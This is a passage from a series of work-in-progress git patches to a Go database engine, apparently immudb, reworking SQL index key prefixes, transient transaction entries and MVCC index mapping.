store.ErrKeyAlreadyExists + if index.IsUnique() { + _, valRef, err := tx.getWithPrefix(smkey, nil) + if err == nil && (valRef.KVMetadata() == nil || !valRef.KVMetadata().Deleted()) { + return store.ErrKeyAlreadyExists + } + if !errors.Is(err, store.ErrKeyNotFound) { + return err + } } - if !errors.Is(err, store.ErrKeyNotFound) { + + err = tx.set(smkey, nil, encodedRowValue) // TODO: not commiteable - only-indexable + if err != nil { return err } } @@ -866,6 +901,73 @@ func (tx *SQLTx) fetchPKRow(ctx context.Context, table *Table, valuesByColID map return r.Read(ctx) } +// deprecateIndexEntries mark previous index entries as deleted +func (tx *SQLTx) deprecateIndexEntries( + pkEncVals []byte, + currValuesByColID, newValuesByColID map[uint32]TypedValue, + table *Table) (reusableIndexEntries map[uint32]struct{}, err error) { + + encodedRowValue, err := tx.encodeRowValue(currValuesByColID, table) + if err != nil { + return nil, err + } + + reusableIndexEntries = make(map[uint32]struct{}) + + for _, index := range table.indexes { + if index.IsPrimary() { + continue + } + + encodedValues := make([][]byte, 2+len(index.cols)+1) + encodedValues[0] = EncodeID(table.id) + encodedValues[1] = EncodeID(index.id) + encodedValues[len(encodedValues)-1] = pkEncVals + + // existent index entry is deleted only if it differs from existent one + sameIndexKey := true + + for i, col := range index.cols { + currVal, specified := currValuesByColID[col.id] + if !specified { + currVal = &NullValue{t: col.colType} + } + + newVal, specified := newValuesByColID[col.id] + if !specified { + newVal = &NullValue{t: col.colType} + } + + r, err := currVal.Compare(newVal) + if err != nil { + return nil, err + } + + sameIndexKey = sameIndexKey && r == 0 + + encVal, _, _ := EncodeValueAsKey(currVal, col.colType, col.MaxLen()) + + encodedValues[i+3] = encVal + } + + // mark existent index entry as deleted + if sameIndexKey { + reusableIndexEntries[index.id] = struct{}{} + } else { + md := store.NewKVMetadata() + + md.AsDeleted(true) + + err = tx.set(MapKey(tx.sqlPrefix(), mappedPrefix, encodedValues...), md, encodedRowValue) + if err != nil { + return nil, err + } + } + } + + return reusableIndexEntries, nil +} + type UpdateStmt struct { tableRef *tableRef where ValueExp @@ -1020,7 +1122,7 @@ func (stmt *UpdateStmt) execAt(ctx context.Context, tx *SQLTx, params map[string return nil, err } - err = tx.doUpsert(ctx, pkEncVals, valuesByColID, table) + err = tx.doUpsert(ctx, pkEncVals, valuesByColID, table, true) if err != nil { return nil, err } diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index 38c6d7f01d..f0435545d6 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -576,8 +576,6 @@ func (tx *OngoingTx) checkPreconditions(st *ImmuStore) error { return nil } - return nil //TODO: remove - for _, txSnap := range tx.snapshots { if txSnap.Ts() > st.LastPrecommittedTxID() { // read-write transactions when no other transaction was committed won't be invalidated From 6809214ad1226f32964cf11d3da76a506533c163 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 30 Aug 2023 23:47:31 -0300 Subject: [PATCH 0743/1062] wip(embedded/sql): multi-snapshot mvcc Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 4 ++-- embedded/sql/catalog.go | 4 ++-- embedded/sql/engine.go | 12 ++++++------ embedded/sql/row_reader.go | 2 +- embedded/sql/sql_tx.go | 4 ++++ embedded/sql/stmt.go | 22 +++++++++++----------- embedded/store/immustore.go | 4 ++-- embedded/store/ongoing_tx.go | 18 +++++++++++++++--- pkg/client/sql.go | 2 +- pkg/database/database.go | 2 ++ pkg/database/sql.go | 4 ++-- pkg/verification/verification.go | 2 +- 12 files changed, 49 insertions(+), 31 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 0c92aa8df0..107cbd752d 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -1143,11 +1143,11 @@ func (e *Engine) getKeyForDocument(ctx context.Context, sqlTx *sql.SQLTx, collec searchKey = sql.MapKey( e.sqlEngine.GetPrefix(), - sql.PIndexPrefix, - sql.EncodeID(1), + sql.MappedPrefix, sql.EncodeID(table.ID()), sql.EncodeID(table.PrimaryIndex().ID()), pkEncVals, + pkEncVals, ) return searchKey, nil diff --git a/embedded/sql/catalog.go b/embedded/sql/catalog.go index 436ec33992..c4d1bfb410 100644 --- a/embedded/sql/catalog.go +++ b/embedded/sql/catalog.go @@ -553,7 +553,7 @@ func (catlg *Catalog) load(tx *store.OngoingTx) error { func loadMaxPK(sqlPrefix []byte, tx *store.OngoingTx, table *Table) ([]byte, error) { pkReaderSpec := store.KeyReaderSpec{ - Prefix: MapKey(sqlPrefix, mappedPrefix, EncodeID(table.id), EncodeID(table.primaryIndex.id)), + Prefix: MapKey(sqlPrefix, MappedPrefix, EncodeID(table.id), EncodeID(table.primaryIndex.id)), DescOrder: true, } @@ -794,7 +794,7 @@ func unmapIndexEntry(index *Index, sqlPrefix, mkey []byte) (encPKVals []byte, er return nil, ErrIllegalArguments } - enc, err := trimPrefix(sqlPrefix, mkey, []byte(mappedPrefix)) + enc, err := trimPrefix(sqlPrefix, mkey, []byte(MappedPrefix)) if err != nil { return nil, ErrCorruptedData } diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index 72a435feaf..04e74667e4 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -183,7 +183,7 @@ func (e *Engine) NewTx(ctx context.Context, opts *TxOptions) (*SQLTx, error) { rowEntryPrefix := MapKey( e.prefix, - rowPrefix, + RowPrefix, EncodeID(1), EncodeID(table.id), EncodeID(0), @@ -191,7 +191,7 @@ func (e *Engine) NewTx(ctx context.Context, opts *TxOptions) (*SQLTx, error) { mappedPKEntryPrefix := MapKey( e.prefix, - mappedPrefix, + MappedPrefix, EncodeID(table.id), EncodeID(primaryIndex.id), ) @@ -213,7 +213,7 @@ func (e *Engine) NewTx(ctx context.Context, opts *TxOptions) (*SQLTx, error) { mappedEntryPrefix := MapKey( e.prefix, - mappedPrefix, + MappedPrefix, EncodeID(table.id), EncodeID(index.id), ) @@ -321,11 +321,11 @@ func indexEntryMapperFor(index *Index) store.EntryMapper { return func(key, value []byte) ([]byte, error) { enginePrefix := index.enginePrefix() - if len(key) < len(enginePrefix)+EncIDLen+len(rowPrefix)+2*EncIDLen { + if len(key) < len(enginePrefix)+EncIDLen+len(RowPrefix)+2*EncIDLen { return nil, fmt.Errorf("key is lower than required") } - pkEncVals := key[len(enginePrefix)+EncIDLen+len(rowPrefix)+2*EncIDLen:] // remove R.{1}{tableID}{0} from the key + pkEncVals := key[len(enginePrefix)+EncIDLen+len(RowPrefix)+2*EncIDLen:] // remove R.{1}{tableID}{0} from the key encodedValues[len(encodedValues)-1] = pkEncVals err := valueExtractor(value) @@ -342,7 +342,7 @@ func indexEntryMapperFor(index *Index) store.EntryMapper { encodedValues[2+i] = encKey } - return MapKey(index.enginePrefix(), mappedPrefix, encodedValues...), nil + return MapKey(index.enginePrefix(), MappedPrefix, encodedValues...), nil } } diff --git a/embedded/sql/row_reader.go b/embedded/sql/row_reader.go index e26cea29fb..fdd806b8ad 100644 --- a/embedded/sql/row_reader.go +++ b/embedded/sql/row_reader.go @@ -191,7 +191,7 @@ func newRawRowReader(tx *SQLTx, params map[string]interface{}, table *Table, per } func keyReaderSpecFrom(sqlPrefix []byte, table *Table, scanSpecs *ScanSpecs) (spec *store.KeyReaderSpec, err error) { - prefix := MapKey(sqlPrefix, mappedPrefix, EncodeID(table.id), EncodeID(scanSpecs.Index.id)) + prefix := MapKey(sqlPrefix, MappedPrefix, EncodeID(table.id), EncodeID(scanSpecs.Index.id)) var loKey []byte var loKeyReady bool diff --git a/embedded/sql/sql_tx.go b/embedded/sql/sql_tx.go index fbc756b670..f903cefd3c 100644 --- a/embedded/sql/sql_tx.go +++ b/embedded/sql/sql_tx.go @@ -101,6 +101,10 @@ func (sqlTx *SQLTx) set(key []byte, metadata *store.KVMetadata, value []byte) er return sqlTx.tx.Set(key, metadata, value) } +func (sqlTx *SQLTx) setDerived(key []byte, metadata *store.KVMetadata, value []byte) error { + return sqlTx.tx.SetDerived(key, metadata, value) +} + func (sqlTx *SQLTx) getWithPrefix(prefix, neq []byte) (key []byte, valRef store.ValueRef, err error) { return sqlTx.tx.GetWithPrefix(prefix, neq) } diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index e1331021ce..636356fd7d 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -36,9 +36,9 @@ const ( catalogColumnPrefix = "CTL.COLUMN." // (key=CTL.COLUMN.{1}{tableID}{colID}{colTYPE}, value={(auto_incremental | nullable){maxLen}{colNAME}}) catalogIndexPrefix = "CTL.INDEX." // (key=CTL.INDEX.{1}{tableID}{indexID}, value={unique {colID1}(ASC|DESC)...{colIDN}(ASC|DESC)}) - rowPrefix = "R." // (key=R.{1}{tableID}{0}({null}({pkVal}{padding}{pkValLen})?)+, value={count (colID valLen val)+}) + RowPrefix = "R." // (key=R.{1}{tableID}{0}({null}({pkVal}{padding}{pkValLen})?)+, value={count (colID valLen val)+}) - mappedPrefix = "M." // (key=M.{tableID}{indexID}({null}({val}{padding}{valLen})?)*({pkVal}{padding}{pkValLen})+, value={count (colID valLen val)+}) + MappedPrefix = "M." // (key=M.{tableID}{indexID}({null}({val}{padding}{valLen})?)*({pkVal}{padding}{pkValLen})+, value={count (colID valLen val)+}) ) const PKIndexID = uint32(0) @@ -658,7 +658,7 @@ func (stmt *UpsertIntoStmt) execAt(ctx context.Context, tx *SQLTx, params map[st } // pk entry - mappedPKey := MapKey(tx.sqlPrefix(), mappedPrefix, EncodeID(table.id), EncodeID(table.primaryIndex.id), pkEncVals, pkEncVals) + mappedPKey := MapKey(tx.sqlPrefix(), MappedPrefix, EncodeID(table.id), EncodeID(table.primaryIndex.id), pkEncVals, pkEncVals) _, err = tx.get(mappedPKey) if err != nil && err != store.ErrKeyNotFound { @@ -758,7 +758,7 @@ func (tx *SQLTx) doUpsert(ctx context.Context, pkEncVals []byte, valuesByColID m } } - rowKey := MapKey(tx.sqlPrefix(), rowPrefix, EncodeID(1), EncodeID(table.id), EncodeID(0), pkEncVals) + rowKey := MapKey(tx.sqlPrefix(), RowPrefix, EncodeID(1), EncodeID(table.id), EncodeID(0), pkEncVals) encodedRowValue, err := tx.encodeRowValue(valuesByColID, table) if err != nil { @@ -813,7 +813,7 @@ func (tx *SQLTx) doUpsert(ctx context.Context, pkEncVals []byte, valuesByColID m return fmt.Errorf("%w: can not index entry using columns '%v'. Max key length is %d", ErrLimitedKeyType, index.cols, MaxKeyLen) } - smkey := MapKey(tx.sqlPrefix(), mappedPrefix, encodedValues...) + smkey := MapKey(tx.sqlPrefix(), MappedPrefix, encodedValues...) // no other equivalent entry should be already indexed if index.IsUnique() { @@ -826,7 +826,7 @@ func (tx *SQLTx) doUpsert(ctx context.Context, pkEncVals []byte, valuesByColID m } } - err = tx.set(smkey, nil, encodedRowValue) // TODO: not commiteable - only-indexable + err = tx.setDerived(smkey, nil, encodedRowValue) // only-indexable if err != nil { return err } @@ -958,7 +958,7 @@ func (tx *SQLTx) deprecateIndexEntries( md.AsDeleted(true) - err = tx.set(MapKey(tx.sqlPrefix(), mappedPrefix, encodedValues...), md, encodedRowValue) + err = tx.set(MapKey(tx.sqlPrefix(), MappedPrefix, encodedValues...), md, encodedRowValue) if err != nil { return nil, err } @@ -1114,7 +1114,7 @@ func (stmt *UpdateStmt) execAt(ctx context.Context, tx *SQLTx, params map[string } // primary index entry - mkey := MapKey(tx.sqlPrefix(), mappedPrefix, EncodeID(table.id), EncodeID(table.primaryIndex.id), pkEncVals, pkEncVals) + mkey := MapKey(tx.sqlPrefix(), MappedPrefix, EncodeID(table.id), EncodeID(table.primaryIndex.id), pkEncVals, pkEncVals) // mkey must exist _, err = tx.get(mkey) @@ -1239,7 +1239,7 @@ func (tx *SQLTx) deleteIndexEntries(pkEncVals []byte, valuesByColID map[uint32]T md.AsDeleted(true) - err := tx.set(MapKey(tx.sqlPrefix(), rowPrefix, encodedValues...), md, encodedRowValue) + err := tx.set(MapKey(tx.sqlPrefix(), RowPrefix, encodedValues...), md, encodedRowValue) if err != nil { return err } @@ -4109,7 +4109,7 @@ func (stmt *DropTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[str indexKey := MapKey( tx.sqlPrefix(), - mappedPrefix, + MappedPrefix, EncodeID(table.id), EncodeID(index.id), ) @@ -4191,7 +4191,7 @@ func (stmt *DropIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[str indexKey := MapKey( tx.sqlPrefix(), - mappedPrefix, + MappedPrefix, EncodeID(table.id), EncodeID(index.id), ) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index b23ba94908..74a83b9bc5 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -2859,9 +2859,9 @@ func (s *ImmuStore) ReplicateTx(ctx context.Context, exportedTx []byte, skipInte for _, e := range entries { var err error if isTruncated { - err = txSpec.set(e.Key, e.Metadata, nil, digest(e.Value), isTruncated) + err = txSpec.set(e.Key, e.Metadata, nil, digest(e.Value), isTruncated, false) } else { - err = txSpec.set(e.Key, e.Metadata, e.Value, e.HashValue, isTruncated) + err = txSpec.set(e.Key, e.Metadata, e.Value, e.HashValue, isTruncated, false) } if err != nil { return nil, err diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index f0435545d6..b6d46018e9 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -234,7 +234,7 @@ func (tx *OngoingTx) snap(key []byte) (*Snapshot, error) { return snap, nil } -func (tx *OngoingTx) set(key []byte, md *KVMetadata, value []byte, hashValue [sha256.Size]byte, isValueTruncated bool) error { +func (tx *OngoingTx) set(key []byte, md *KVMetadata, value []byte, hashValue [sha256.Size]byte, isValueTruncated, isDerived bool) error { if tx.closed { return ErrAlreadyClosed } @@ -289,7 +289,11 @@ func (tx *OngoingTx) set(key []byte, md *KVMetadata, value []byte, hashValue [sh if isKeyUpdate { tx.entries[keyRef] = e } else { - tx.entries = append(tx.entries, e) + + if !isDerived { + tx.entries = append(tx.entries, e) + } + tx.entriesByKey[kid] = len(tx.entriesByKey) } @@ -298,7 +302,12 @@ func (tx *OngoingTx) set(key []byte, md *KVMetadata, value []byte, hashValue [sh func (tx *OngoingTx) Set(key []byte, md *KVMetadata, value []byte) error { var hashValue [sha256.Size]byte - return tx.set(key, md, value, hashValue, false) + return tx.set(key, md, value, hashValue, false, false) +} + +func (tx *OngoingTx) SetDerived(key []byte, md *KVMetadata, value []byte) error { + var hashValue [sha256.Size]byte + return tx.set(key, md, value, hashValue, false, true) } func (tx *OngoingTx) AddPrecondition(c Precondition) error { @@ -576,6 +585,9 @@ func (tx *OngoingTx) checkPreconditions(st *ImmuStore) error { return nil } + //TODO: remove + return nil + for _, txSnap := range tx.snapshots { if txSnap.Ts() > st.LastPrecommittedTxID() { // read-write transactions when no other transaction was committed won't be invalidated diff --git a/pkg/client/sql.go b/pkg/client/sql.go index fdd80d5600..c4d59f990f 100644 --- a/pkg/client/sql.go +++ b/pkg/client/sql.go @@ -170,7 +170,7 @@ func (c *immuClient) VerifyRow(ctx context.Context, row *schema.Row, table strin pkKey := sql.MapKey( []byte{SQLPrefix}, - sql.PIndexPrefix, + sql.RowPrefix, sql.EncodeID(dbID), sql.EncodeID(tableID), sql.EncodeID(sql.PKIndexID), diff --git a/pkg/database/database.go b/pkg/database/database.go index 7f3243e621..b805d429d9 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -210,6 +210,7 @@ func OpenDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log l for _, prefix := range []byte{SetKeyPrefix, SortedSetKeyPrefix} { err := dbi.st.InitIndexing(&store.IndexSpec{ + SourcePrefix: []byte{prefix}, TargetPrefix: []byte{prefix}, }) if err != nil { @@ -315,6 +316,7 @@ func NewDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log lo for _, prefix := range []byte{SetKeyPrefix, SortedSetKeyPrefix} { err := dbi.st.InitIndexing(&store.IndexSpec{ + SourcePrefix: []byte{prefix}, TargetPrefix: []byte{prefix}, }) if err != nil { diff --git a/pkg/database/sql.go b/pkg/database/sql.go index 9fb2b35c14..347e39b618 100644 --- a/pkg/database/sql.go +++ b/pkg/database/sql.go @@ -78,10 +78,10 @@ func (d *db) VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetR // build the encoded key for the pk pkKey := sql.MapKey( []byte{SQLPrefix}, - sql.PIndexPrefix, - sql.EncodeID(1), + sql.MappedPrefix, sql.EncodeID(table.ID()), sql.EncodeID(sql.PKIndexID), + valbuf.Bytes(), valbuf.Bytes()) e, err := d.sqlGetAt(pkKey, req.SqlGetRequest.AtTx, d.st, true) diff --git a/pkg/verification/verification.go b/pkg/verification/verification.go index 2c277e5812..0205d1ced2 100644 --- a/pkg/verification/verification.go +++ b/pkg/verification/verification.go @@ -231,7 +231,7 @@ func encodedKeyForDocument(collectionID uint32, documentID string) ([]byte, erro return sql.MapKey( []byte{3}, // database.DocumentPrefix - sql.PIndexPrefix, + sql.RowPrefix, sql.EncodeID(1), // fixed database identifier sql.EncodeID(collectionID), sql.EncodeID(0), // pk index id From 4a41da772b9f0570d7e6af167d6b7ac988e02498 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 31 Aug 2023 14:07:24 -0300 Subject: [PATCH 0744/1062] wip(embedded/sql): key-less index entry mapping Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine.go | 41 +++++++++++++++--------------------- embedded/sql/sql_tx.go | 4 ++-- embedded/sql/stmt.go | 18 ++++++++-------- embedded/store/ongoing_tx.go | 29 +++++++++++++++---------- 4 files changed, 46 insertions(+), 46 deletions(-) diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index 04e74667e4..24f72a64b0 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -199,7 +199,7 @@ func (e *Engine) NewTx(ctx context.Context, opts *TxOptions) (*SQLTx, error) { err = e.store.InitIndexing(&store.IndexSpec{ SourcePrefix: rowEntryPrefix, - TargetEntryMapper: indexEntryMapperFor(primaryIndex), + TargetEntryMapper: indexEntryMapperFor(primaryIndex, primaryIndex), TargetPrefix: mappedPKEntryPrefix, }) if err != nil && !errors.Is(err, store.ErrIndexAlreadyInitialized) { @@ -220,9 +220,8 @@ func (e *Engine) NewTx(ctx context.Context, opts *TxOptions) (*SQLTx, error) { err = e.store.InitIndexing(&store.IndexSpec{ SourcePrefix: rowEntryPrefix, - SourceEntryMapper: indexEntryMapperFor(primaryIndex), - - TargetEntryMapper: indexEntryMapperFor(index), + SourceEntryMapper: indexEntryMapperFor(primaryIndex, primaryIndex), + TargetEntryMapper: indexEntryMapperFor(index, primaryIndex), TargetPrefix: mappedEntryPrefix, }) if errors.Is(err, store.ErrIndexAlreadyInitialized) { @@ -267,13 +266,13 @@ func (e *Engine) NewTx(ctx context.Context, opts *TxOptions) (*SQLTx, error) { }, nil } -func indexEntryMapperFor(index *Index) store.EntryMapper { - // (key=R.{1}{tableID}{0}({null}({pkVal}{padding}{pkValLen})?)+, value={count (colID valLen val)+}) - // key=M.{tableID}{indexID}({null}({val}{padding}{valLen})?)*({pkVal}{padding}{pkValLen})+ - values := make(map[uint32]TypedValue, len(index.cols)) +func indexEntryMapperFor(index, primaryIndex *Index) store.EntryMapper { + // value={count (colID valLen val)+}) + // key=M.{tableID}{indexID}({null}({val}{padding}{valLen})?)+({pkVal}{padding}{pkValLen})+ + valuesByColID := make(map[uint32]TypedValue, len(index.cols)) for _, col := range index.cols { - values[col.id] = &NullValue{t: col.colType} + valuesByColID[col.id] = &NullValue{t: col.colType} } valueExtractor := func(value []byte) error { @@ -304,11 +303,7 @@ func indexEntryMapperFor(index *Index) store.EntryMapper { voff += n - if !index.IncludesCol(colID) { - continue - } - - values[colID] = val + valuesByColID[colID] = val } return nil @@ -319,22 +314,13 @@ func indexEntryMapperFor(index *Index) store.EntryMapper { encodedValues[1] = EncodeID(index.id) return func(key, value []byte) ([]byte, error) { - enginePrefix := index.enginePrefix() - - if len(key) < len(enginePrefix)+EncIDLen+len(RowPrefix)+2*EncIDLen { - return nil, fmt.Errorf("key is lower than required") - } - - pkEncVals := key[len(enginePrefix)+EncIDLen+len(RowPrefix)+2*EncIDLen:] // remove R.{1}{tableID}{0} from the key - encodedValues[len(encodedValues)-1] = pkEncVals - err := valueExtractor(value) if err != nil { return nil, err } for i, col := range index.cols { - encKey, _, err := EncodeValueAsKey(values[col.id], col.Type(), col.MaxLen()) + encKey, _, err := EncodeValueAsKey(valuesByColID[col.id], col.Type(), col.MaxLen()) if err != nil { return nil, err } @@ -342,6 +328,13 @@ func indexEntryMapperFor(index *Index) store.EntryMapper { encodedValues[2+i] = encKey } + pkEncVals, err := encodedKey(primaryIndex, valuesByColID) + if err != nil { + return nil, err + } + + encodedValues[len(encodedValues)-1] = pkEncVals + return MapKey(index.enginePrefix(), MappedPrefix, encodedValues...), nil } } diff --git a/embedded/sql/sql_tx.go b/embedded/sql/sql_tx.go index f903cefd3c..754b5ba39e 100644 --- a/embedded/sql/sql_tx.go +++ b/embedded/sql/sql_tx.go @@ -101,8 +101,8 @@ func (sqlTx *SQLTx) set(key []byte, metadata *store.KVMetadata, value []byte) er return sqlTx.tx.Set(key, metadata, value) } -func (sqlTx *SQLTx) setDerived(key []byte, metadata *store.KVMetadata, value []byte) error { - return sqlTx.tx.SetDerived(key, metadata, value) +func (sqlTx *SQLTx) setTransient(key []byte, metadata *store.KVMetadata, value []byte) error { + return sqlTx.tx.SetTransient(key, metadata, value) } func (sqlTx *SQLTx) getWithPrefix(prefix, neq []byte) (key []byte, valRef store.ValueRef, err error) { diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 636356fd7d..5399ae76c4 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -652,7 +652,7 @@ func (stmt *UpsertIntoStmt) execAt(ctx context.Context, tx *SQLTx, params map[st valuesByColID[colID] = rval } - pkEncVals, err := encodedPK(table, valuesByColID) + pkEncVals, err := encodedKey(table.primaryIndex, valuesByColID) if err != nil { return nil, err } @@ -826,7 +826,7 @@ func (tx *SQLTx) doUpsert(ctx context.Context, pkEncVals []byte, valuesByColID m } } - err = tx.setDerived(smkey, nil, encodedRowValue) // only-indexable + err = tx.setTransient(smkey, nil, encodedRowValue) // only-indexable if err != nil { return err } @@ -837,12 +837,12 @@ func (tx *SQLTx) doUpsert(ctx context.Context, pkEncVals []byte, valuesByColID m return nil } -func encodedPK(table *Table, valuesByColID map[uint32]TypedValue) ([]byte, error) { +func encodedKey(index *Index, valuesByColID map[uint32]TypedValue) ([]byte, error) { valbuf := bytes.Buffer{} indexKeyLen := 0 - for _, col := range table.primaryIndex.cols { + for _, col := range index.cols { rval, specified := valuesByColID[col.id] if !specified || rval.IsNull() { return nil, ErrPKCanNotBeNull @@ -850,11 +850,11 @@ func encodedPK(table *Table, valuesByColID map[uint32]TypedValue) ([]byte, error encVal, n, err := EncodeValueAsKey(rval, col.colType, col.MaxLen()) if err != nil { - return nil, fmt.Errorf("%w: primary index of table '%s' and column '%s'", err, table.name, col.colName) + return nil, fmt.Errorf("%w: index of table '%s' and column '%s'", err, index.table.name, col.colName) } if n > MaxKeyLen { - return nil, fmt.Errorf("%w: invalid primary key entry for column '%s'. Max key length for variable columns is %d", ErrLimitedKeyType, col.colName, MaxKeyLen) + return nil, fmt.Errorf("%w: invalid key entry for column '%s'. Max key length for variable columns is %d", ErrLimitedKeyType, col.colName, MaxKeyLen) } indexKeyLen += n @@ -866,7 +866,7 @@ func encodedPK(table *Table, valuesByColID map[uint32]TypedValue) ([]byte, error } if indexKeyLen > MaxKeyLen { - return nil, fmt.Errorf("%w: invalid primary key entry using columns '%v'. Max key length is %d", ErrLimitedKeyType, table.primaryIndex.cols, MaxKeyLen) + return nil, fmt.Errorf("%w: invalid key entry using columns '%v'. Max key length is %d", ErrLimitedKeyType, index.cols, MaxKeyLen) } return valbuf.Bytes(), nil @@ -1108,7 +1108,7 @@ func (stmt *UpdateStmt) execAt(ctx context.Context, tx *SQLTx, params map[string valuesByColID[col.id] = rval } - pkEncVals, err := encodedPK(table, valuesByColID) + pkEncVals, err := encodedKey(table.primaryIndex, valuesByColID) if err != nil { return nil, err } @@ -1192,7 +1192,7 @@ func (stmt *DeleteFromStmt) execAt(ctx context.Context, tx *SQLTx, params map[st valuesByColID[col.id] = row.ValuesBySelector[encSel] } - pkEncVals, err := encodedPK(table, valuesByColID) + pkEncVals, err := encodedKey(table.primaryIndex, valuesByColID) if err != nil { return nil, err } diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index b6d46018e9..5878602a83 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -42,8 +42,9 @@ type OngoingTx struct { requireMVCCOnFollowingTxs bool - entries []*EntrySpec - entriesByKey map[[sha256.Size]byte]int + entries []*EntrySpec + transientEntries map[int]*EntrySpec + entriesByKey map[[sha256.Size]byte]int preconditions []Precondition @@ -107,11 +108,12 @@ func newOngoingTx(ctx context.Context, s *ImmuStore, opts *TxOptions) (*OngoingT } tx := &OngoingTx{ - st: s, - ctx: ctx, - entriesByKey: make(map[[sha256.Size]byte]int), - ts: time.Now(), - unsafeMVCC: opts.UnsafeMVCC, + st: s, + ctx: ctx, + transientEntries: make(map[int]*EntrySpec), + entriesByKey: make(map[[sha256.Size]byte]int), + ts: time.Now(), + unsafeMVCC: opts.UnsafeMVCC, } tx.mode = opts.Mode @@ -219,7 +221,10 @@ func (tx *OngoingTx) snap(key []byte) (*Snapshot, error) { return valRef } - entrySpec := tx.entries[keyRef] + entrySpec, transient := tx.transientEntries[keyRef] + if !transient { + entrySpec = tx.entries[keyRef] + } return &ongoingValRef{ hc: valRef.HC(), @@ -234,7 +239,7 @@ func (tx *OngoingTx) snap(key []byte) (*Snapshot, error) { return snap, nil } -func (tx *OngoingTx) set(key []byte, md *KVMetadata, value []byte, hashValue [sha256.Size]byte, isValueTruncated, isDerived bool) error { +func (tx *OngoingTx) set(key []byte, md *KVMetadata, value []byte, hashValue [sha256.Size]byte, isValueTruncated, isTransient bool) error { if tx.closed { return ErrAlreadyClosed } @@ -290,7 +295,9 @@ func (tx *OngoingTx) set(key []byte, md *KVMetadata, value []byte, hashValue [sh tx.entries[keyRef] = e } else { - if !isDerived { + if isTransient { + tx.transientEntries[len(tx.entriesByKey)] = e + } else { tx.entries = append(tx.entries, e) } @@ -305,7 +312,7 @@ func (tx *OngoingTx) Set(key []byte, md *KVMetadata, value []byte) error { return tx.set(key, md, value, hashValue, false, false) } -func (tx *OngoingTx) SetDerived(key []byte, md *KVMetadata, value []byte) error { +func (tx *OngoingTx) SetTransient(key []byte, md *KVMetadata, value []byte) error { var hashValue [sha256.Size]byte return tx.set(key, md, value, hashValue, false, true) } From 1a5caa1bc3f376685cde8bde8115d698d35d1da6 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 31 Aug 2023 14:54:28 -0300 Subject: [PATCH 0745/1062] wip(embedded/sql): key-less index mapping Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index 24f72a64b0..852aa951ed 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -271,7 +271,7 @@ func indexEntryMapperFor(index, primaryIndex *Index) store.EntryMapper { // key=M.{tableID}{indexID}({null}({val}{padding}{valLen})?)+({pkVal}{padding}{pkValLen})+ valuesByColID := make(map[uint32]TypedValue, len(index.cols)) - for _, col := range index.cols { + for _, col := range index.table.cols { valuesByColID[col.id] = &NullValue{t: col.colType} } From b9e95d43b3626d6bd80fa9509b24326cfbcf1bf7 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 31 Aug 2023 17:25:15 -0300 Subject: [PATCH 0746/1062] chore(embedded/sql): dynamic indexing Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine.go | 15 ++++++++------- embedded/store/indexer.go | 2 +- 2 files changed, 9 insertions(+), 8 deletions(-) diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index 852aa951ed..2edc490cf4 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -269,13 +269,8 @@ func (e *Engine) NewTx(ctx context.Context, opts *TxOptions) (*SQLTx, error) { func indexEntryMapperFor(index, primaryIndex *Index) store.EntryMapper { // value={count (colID valLen val)+}) // key=M.{tableID}{indexID}({null}({val}{padding}{valLen})?)+({pkVal}{padding}{pkValLen})+ - valuesByColID := make(map[uint32]TypedValue, len(index.cols)) - for _, col := range index.table.cols { - valuesByColID[col.id] = &NullValue{t: col.colType} - } - - valueExtractor := func(value []byte) error { + valueExtractor := func(value []byte, valuesByColID map[uint32]TypedValue) error { voff := 0 cols := int(binary.BigEndian.Uint32(value[voff:])) @@ -314,7 +309,13 @@ func indexEntryMapperFor(index, primaryIndex *Index) store.EntryMapper { encodedValues[1] = EncodeID(index.id) return func(key, value []byte) ([]byte, error) { - err := valueExtractor(value) + valuesByColID := make(map[uint32]TypedValue, len(index.cols)) + + for _, col := range index.table.cols { + valuesByColID[col.id] = &NullValue{t: col.colType} + } + + err := valueExtractor(value, valuesByColID) if err != nil { return nil, err } diff --git a/embedded/store/indexer.go b/embedded/store/indexer.go index 42b02e2090..3010646c2d 100644 --- a/embedded/store/indexer.go +++ b/embedded/store/indexer.go @@ -577,7 +577,7 @@ func (idx *indexer) indexSince(txID uint64) error { return err } - if bytes.Equal(sourceKey, targetPrevKey) { + if 